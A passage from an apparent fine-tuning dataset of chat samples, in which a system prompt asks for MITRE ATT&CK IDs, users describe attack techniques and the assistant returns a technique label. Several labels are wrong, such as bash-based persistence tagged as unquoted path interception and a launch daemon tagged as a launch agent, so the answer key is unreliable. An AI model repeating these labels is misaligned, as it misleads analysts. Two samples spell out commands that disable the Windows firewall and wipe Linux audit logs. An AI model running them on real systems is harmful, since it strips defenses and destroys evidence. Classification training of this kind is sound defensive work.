                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi‑stage attack where the first stage establishes a covert channel over SMTP, and the second stage uses that channel to pull additional malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the attacker clears the network connection history and deletes configuration files that could reveal C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on infected hosts exfiltrates the address book entries, gathering victim email addresses for use in spear‑phishing."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom .service and corresponding .timer file to schedule the execution of a credential‑stealing tool on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool creates a hidden window to host a reverse shell, keeping the connection concealed from the user."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used the Windows Command Prompt (cmd.exe) to chain together a series of system commands for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used WMI to execute a PowerShell payload on a remote host, leveraging the Win32_Process class to spawn a new process."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans for SMB shares by querying the IPC$ share across the network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies kernel settings to block access to the cryptographic co-processor, effectively disabling hardware encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a valid user’s credentials from a previous data breach and reuses them to log into the target network."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs steganographic techniques to hide a payload within a QR code displayed on a website."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a built‑in Windows utility, the adversary performed a secure erase of the system drive, removing all residual information."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer writes a tampered executable to \"C:\\Program Files\\My App\\myapp.exe\" without surrounding the path with quotes, leading Windows to run the attacker’s version when the legitimate app is launched."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat used a stolen code signing certificate to bypass application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain includes calling rundll32.exe to execute a DLL that exfiltrates data from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the intruder creates an additional IAM role in AWS and attaches privileged policies."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a flaw in the Linux kernel’s capability handling to gain root privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware verifies the presence of a specific installed software version before launching its data exfiltration module."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads a PHP web shell to the compromised web server and uses it to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disguises its command-and-control daemon as the legitimate 'spoolsv.exe' service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queried the Active Directory domain controller for group objects to discover permission groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends encrypted source files which are decrypted and compiled on the endpoint, obscuring the malicious functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection, the implant spawns a virtual environment with VirtualBox and executes secondary payloads inside, hiding its processes."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant performs a DNS CNAME lookup to follow chain of aliases to the final C2 IP."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework enumerates services and then stops the WMI service to impair system monitoring."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses fileless techniques, executing malicious scripts directly in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a scheduled job that gathers recent keystroke logs and transmits them over encrypted channels."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the registry key for Terminal Services to load a malicious DLL at service startup, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised .dll that is loaded by a service running as SYSTEM, the adversary achieves elevated privileges through the shared module's execution within the service's context."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Remote Procedure Call (RPC) service to invoke code execution on a target server."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initial compromise, the intruder scraped SharePoint lists to collect employee contact information."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to pull data from an organization's shared Azure File storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a DLL hijacking technique to replace a legitimate system DLL, causing the UAC prompt to silently approve the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app reads the WebView’s cookie store and transmits the session tokens to the attacker for later use."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group executed DCSync to replicate domain credentials, allowing them to bypass normal authentication mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By replaying stolen authentication cookies, the threat actor bypasses the login process and accesses privileged web resources without needing actual credentials."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces a legitimate launch daemon with a trojanized version via launchd."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages token manipulation to spawn a child process that executes with the same security context as a logged‑in admin."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through reverse engineering of the web application's cookie generation algorithm, the attacker produces a valid session cookie without legitimate credentials."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies Windows Event Viewer logs to generate fake antivirus warnings that prompt users to disable the real security software."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware component collects recent documents from the desktop before encrypting them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group encoded data into the payload of VoIP (SIP) packets to extract sensitive audio recordings."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes \"Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False\" to turn off the firewall on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious process listens for broadcast name resolution requests, replies with its own IP, captures the victim's NTLM hash, and then performs an SMB relay to a privileged service."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a legitimate corporate proxy to blend its traffic with normal user activity."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a tool to rollback the Android system image to a prior build with known exploits."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy trojan sets its process name to match a common system service to avoid suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update script alters the embedded controller firmware, disrupting security features and establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary technique: System Binary Proxy Execution using a compiled HTML (HTA) file to launch PowerShell scripts stealthily."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivered a .chtml file that, when opened, leveraged mshta.exe to run malicious PowerShell commands, effectively using a compiled HTML file as a proxy for system binary execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a custom symmetric cipher to hide C2 messages, negotiating the key out‑of‑band before initiating communication."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes stolen passwords to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key for persistence and later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query a threat intel vendor's dark web monitoring portal for chatter about upcoming exploits targeting financial institutions."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sets up an onion routing style proxy network, routing traffic through multiple layers to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a macOS executable by inserting an LC_LOAD_DYLIB header so that a malicious dynamic library is loaded whenever the binary runs."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Linux bash shell to execute a series of commands that establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set removes Linux audit logs by executing \"auditctl -D\" and truncating /var/log/audit/audit.log."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes sensitive files to a shared network drive that is publicly accessible, allowing the attacker to retrieve them via plain SMB."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised update replaces the default network provider DLL, allowing the attacker to modify authentication processes."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads stored application configuration files to locate API keys and secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a covert channel by encoding data into the headers of outgoing emails via SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man‑in‑the‑browser attack, the adversary intercepted the user's login form for their webmail service and captured the entered email credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code applies a custom base64 variant to encode exfiltrated files, making detection harder."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures its command‑and‑control client to connect to the server on TCP port 8443, which is not a default port for any common enterprise application."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a drive‑by target approach, embedding exploit code in a phishing page that runs when the victim opens the link."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs credential dumping by dumping the SAM file from the system32 directory."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs searches on Baidu to uncover leaked credentials posted on forums related to the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a reverse proxy to relay malicious payloads to victims while masking the source infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the threat actor runs a batch file that encrypts all files on the D: drive."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromised a popular open‑source npm package by adding a hidden backdoor, which was then pulled into downstream applications during build."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows autorun feature to launch a payload from a tampered USB drive, replicating itself to any system the drive is connected to."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential theft, the threat actor injects extra SIDs via SID-History to expand their access scope."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group hides a command-and-control client inside a video file's unused frames, extracting it when the video is opened on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Net-SNMP suite, the threat actor collected system logs and configuration parameters via SNMP."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor escalates privileges by adding the \"system:node\" role to a rogue service account in the container orchestrator."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
